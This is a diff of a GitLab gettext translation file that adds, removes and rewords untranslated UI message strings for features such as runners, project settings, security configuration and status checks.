msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27400,6 +27819,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -27943,6 +28374,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28157,9 +28597,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28326,6 +28763,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28362,6 +28805,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28503,6 +28952,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29028,6 +29507,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,7 +30663,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -30940,9 +31479,6 @@ msgstr ""
msgid "Sep"
msgstr "9月"
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31042,7 +31578,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31382,6 +31930,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32182,9 +32748,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32503,6 +33090,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,7 +34409,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34747,12 +35346,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35149,7 +35754,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,10 +36431,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -35907,6 +36515,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36331,9 +36948,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36439,6 +37053,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36685,9 +37305,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
